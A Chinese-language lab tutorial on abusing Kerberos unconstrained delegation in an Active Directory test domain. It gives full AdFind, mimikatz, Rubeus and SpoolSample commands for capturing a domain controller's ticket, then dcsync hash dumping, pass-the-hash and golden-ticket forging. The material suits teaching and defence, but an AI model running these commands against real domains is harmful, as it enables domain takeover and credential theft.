前言:
域委派是指将域内用户的权限委派给服务账户,使得服务账户能以用户的权限在域内开展活动。委派主要分为非约束委派和约束委派两种方式,还有一种是基于资源的约束委派。本篇文章,小星将和大家分享非约束委派的利用过程。
01非约束委派流程
非约束委派的请求过程如图,当service1的服务账号开启了非约束委派后,user访问service1时,service1会将user的TGT保存到内存中,然后service1就可以利用TGT以user的身份访问去访问域中的任何user可以访问的服务。
详细的流程可以查看微软手册。
链接如下:[MS-SFU]: Protocol Overview | Microsoft Learn
02非约束委派攻击流程
域环境
当前域:test.com
域控:dc-2016(IP:10.10.90.10) test\administrator
域内主机(配置了非约束委派):
web-2016(IP:10.10.90.20)test\mssql
1. 配置和查找非约束委派主机:在Windows系统中,只有服务账号和主机账号的属性才有委派功能,普通⽤户默认是不含此功能。现在我们将web-2016这个主机⽤户设置为非约束委派。
2. 查找域内非约束委派用户和计算机:
#查找域中配置非约束委派的用户,过滤出cn和distinguishedName属性。
AdFind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
#查找域中配置非约束委派的主机,过滤出cn和distinguishedName属性。
AdFind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
3. 查询主机web-2016,发现被设置了非约束委派。使⽤dc或者域管去登录 web-2016,可在 web-2016上留存票据凭证,随后让域控模拟访问被设置了⾮约束委派的机器。
Enter-PSSession -ComputerName web-2016
4. 域控模拟访问被设置了约束委派的机器后,此时域管理员的 TGT 已经缓存在 web-2016机器上了,域管的凭证也已缓存于⽬标机器。使⽤域内机器登录本地管理员,导出相关凭证、清除⼀下当前票据缓存。
mimikatz.exe "privilege::debug" "kerberos::purge" "exit"
5.使⽤mimikatz以dump所有票据。
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
6.此时[0;47cb77]-2-0-60a10000-Administrator@krbtgt-TEST.COM.kirbi就是域管理员administrator的TGT。
7.访问域控文件失败。
8. 使用mimikatz通过ptt将TGT注入到当前会话中。
kerberos::ptt [0;47cb77]-2-0-60a10000-Administrator@krbtgt-TEST.COM.kirbi
9.成功访问域控。
03非约束委派+Spooler打印机服务
一般情况下,高权限用户是不会主动访问我们的,所以说上述情况出现机率较少。在特定情况下,我们可以利用splooer服务让域控主动连接。
默认开启Splooer服务,域用户可以利用windows打印系统远程协议(MS-RPRN)来强制任何运行了Splooer服务的域内机器,通过kerberos或ntlm对任何目标进行身份验证,这就是该攻击方式的原理。
1.如下所示,Splooer服务默认是已开启,并以system权限运行。
2.在web-2016上以本地管理员身份运行Rubeus,对域控机器账户的登录进行监听。
Rubeus.exe monitor /interval:1 /filteruser:dc-2016$
#我们可以用Rubeus来监听EvevtID为4624的时间,这样可以第一时间截取到TGT
# /interval:1 设置监听时间为1秒
# /filteruser 监听对象为域控,注意后面有$,如果不设置监听对象就监听所有的TGT
#dc-2016$为域控主机的名字加$
注意:Rubeus.exe需要以本地管理员身份运行,否则会报错。
3.利用SpoolSample工具强制让域控(dc-2026)向本机(web-2016)验证身份。
SpoolSample.exedc-2016 web-2016
这里要注意非约束委派机器是需要关闭防火墙,否则以域用户的身份执行SpoolSample.exe会返回下述错误,无法接收到tickets。
4.关闭防火墙后再次运行。
5.切换到web-2016本地管理员,Rubeus已经捕获到了域控的TGT。该TGT是base64的,有两种方法可以导入到内存中。此处base64字符串导入票据需要进行处理,去除空格和换行符\n
方法1:
1.使用powershell的base64转换功能。
[IO.File]::WriteAllBytes("dc-2016.kirbi",[Convert]::FromBase64String("捕获到的base64编码"))
2. 执行命令后,会在当前目录下生成dc-2016.kirbi票据,使用mimikatz导入票据即可。
kerberos::ptt dc-2016.kirbi
kerberos::list
方法2:
1.使用Rubeus导入TGT。
Rubeus.exe ptt /ticket:base64
2. 查看票据,此时票据已经成功写入到内存中,但是依然无法访问域控的文件。
3.此处生成的 TGT,相当于域控真正赋予了我们administrator本地管理员权限,所以此处我们可以使用命令来导出域内账号hash。
4. 以本地管理员权限运行mimikatz进行dcsync,成功获取域内账号ntlm哈希值。
mimikatz.exe "lsadump::dcsync /domain:test.com /all /csv" exit
5.如果当前用户拥有管理员权限,我们可以使用PTH攻击。
mimikatz.exe"privilege::debug""sekurlsa::pth/user:administrator/domain:test.com/ntlm:0ebc63860c8167877a03a68df53b3bf1"
#成功后会弹出一个cmd窗口,此时和域控制器建立ipc无需密码
6. 如果是普通的域用户,可使用黄金票据,
mimikat.exe "kerberos::golden /user:administrator /domain:test.com /sid:S-1-5-21-1348005725-2953300805-2723764712 /krbtgt:61e6be9a1ae07871c40cbd8e18181128 /ptt"
特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。
Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.